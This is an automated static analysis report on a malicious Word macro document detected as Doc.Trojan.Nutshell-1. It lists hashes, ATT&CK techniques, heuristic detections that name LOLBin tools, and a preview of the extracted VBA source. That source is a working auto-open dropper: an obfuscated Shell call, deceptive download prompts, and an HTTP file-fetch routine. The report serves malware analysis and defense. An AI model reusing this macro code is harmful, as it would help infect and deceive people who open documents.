Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a774855ca9d452a0…

MALICIOUS

Office (OLE)

84.5 KB Created: 2000-10-07 09:13:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 1f48b4097198658c57aa414ecfa5a7f1 SHA-1: 3fa6a8e454ee3671bc33f1f1c6f553acc60e7588 SHA-256: a774855ca9d452a07e8bb9cf396056d9841a9c045bcdd37661b8e04123f11032
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File: User Execution: Malicious Macro T1071.001 Web Protocols: Web Protocols T1105 Ingress Tool Transfer

The sample contains VBA macros that execute upon opening the document, specifically the Document_Open subroutine. This subroutine uses the Shell() function to execute a command, likely to download and run a second-stage payload. The obfuscated command string 'Àʼ¹ºÁ�‡|ºÆºnÀ³Ç¼ººˆ€ƒ²Áº�”¶Â¶ºšÆ¾Â' is a strong indicator of malicious intent. The presence of a fake prompt further supports a social engineering attack.

Heuristics 6

  • ClamAV: Doc.Trojan.Nutshell-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Nutshell-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11439 bytes
SHA-256: 5696491af878e5c815e7e5e742e733c437a5b836336c967bfbcdb23d55d7e1d4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
If Dir(d("±�ªÌ·Ã²ÄÅȪ̽Dzʾ¹ª | ")) = "" Then
    If MsgBox(d("¢½·Èn»³¶ÂÊÀºn¾Áu±ÊÀdzÃÂÁÇu¼ÄÂu·ÃÁɯÁºº²ƒn¬½Êº¹nνÊnÁ·À³uÂÄn¾¼È¶ºÁn¾Âu¼ÄÅ”"), vbExclamation + vbYesNo) = vbYes Then
        frmDownload.Show
    Else
        MsgBox d("§ÄÃu±¶¼Ã½ÉnË·ºÅu½·Èn¹½¸Ã³ÃÂuÃþºuÇÄÃu·ÃÁɯÁºu½·Èn»³¶ÂÊÀº|"), vbExclamation
    End If
Else
    Shell d("Àʼ¹ºÁ�‡|ºÆºnÀ³Ç¼ººˆ€ƒ²Áº�”¶Â¶ºšÆ¾Â")
    Application.Quit wdDoNotSaveChanges
End If
End Sub

Attribute VB_Name = "frmDownload"
Attribute VB_Base = "0{E0DFDE4C-711C-4323-AD12-9356409718DB}{6E553441-0077-4D3E-99C2-901F3A524528}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Function df(strURL As String, strDestination As String, _
                        Optional UserName As String = Empty, _
                        Optional Password As String = Empty) _
                        As Boolean

Const CHUNK_SIZE As Long = 1024
Const ROLLBACK As Long = 4096
On Error GoTo OhBoy
                                
                                
Dim bData() As Byte
Dim blnResume As Boolean
Dim intFile As Integer
Dim lngBytesReceived As Long
Dim lngFileLength As Long
Dim lngX
Dim lastTime As Single
Dim sglRate As Single
Dim sglTime As Single
Dim strFile As String
Dim strHeader As String
Dim strHost As String

With Inet1
    .URL = strURL
    .UserName = UserName
    .Password = Password
    .Execute , d("•š¢")
End With

While Inet1.StillExecuting
    DoEvents
    If CancelSearch Then GoTo ExitDownload
Wend

StatusLabel = "Saving:"
ToLabel = FitText(ToLabel, strDestination)
strHeader = Inet1.GetHeader
Select Case Mid(strHeader, 10, 3)
    Case "200"
    Case "206"
    Case "204"
        MsgBox "Nothing to download!", vbInformation, "No Content"
        GoTo ExitDownload
    Case "401"
        MsgBox "Authorization failed!", vbCritical, "Unauthorized"
        GoTo ExitDownload
    Case "404"
        MsgBox "The file was not found!", vbCritical, "File Not Found"
        GoTo ExitDownload
    Case vbCrLf
        MsgBox "Cannot establish connection." & vbCr & vbCr & _
               "Check your Internet connection and try again.", _
               vbExclamation, _
               "Cannot Establish Connection"
        GoTo ExitDownload
    Case Else
        strHeader = Left(strHeader, InStr(strHeader, vbCr))
        If strHeader = Empty Then strHeader = "<nothing>"
        MsgBox "The server returned the following response:" & vbCr & vbCr & _
               strHeader, _
               vbCritical, _
               "Error Downloading File"
        GoTo ExitDownload
End Select

lastTime = Timer - 1
strHeader = Inet1.GetHeader("Content-Length")
lngFileLength = Val(strHeader)
If lngFileLength = 0 Then
    GoTo ExitDownload
End If

With ProgressBar
    .Value = 0
    .Max = lngFileLength
End With

lngBytesReceived = 0


intFile = FreeFile()
Open strDestination For Binary Access Write As #intFile
If blnResume Then Seek #intFile, lngBytesReceived + 1
Do
    bData = Inet1.GetChunk(CHUNK_SIZE, icByteArray)
    Put #intFile, , bData
    If CancelSearch Then Exit Do
    lngBytesReceived = lngBytesReceived + UBound(bData, 1) + 1
    sglRate = lngBytesReceived / (Timer - lastTime)
    sglTime = (lngFileLength - lngBytesReceived) / sglRate
    TimeLabel = FormatTime(sglTime) & _
                   " (" & _
                   FormatFileSize(lngBytesReceived) & _
                   " of " & _
                   FormatFileSize(lngFileLength) & _
                   " copied)"
    RateLabel = FormatFileSize(sglRate, "###.0") & "/Sec"
    ProgressBar.
... (truncated)

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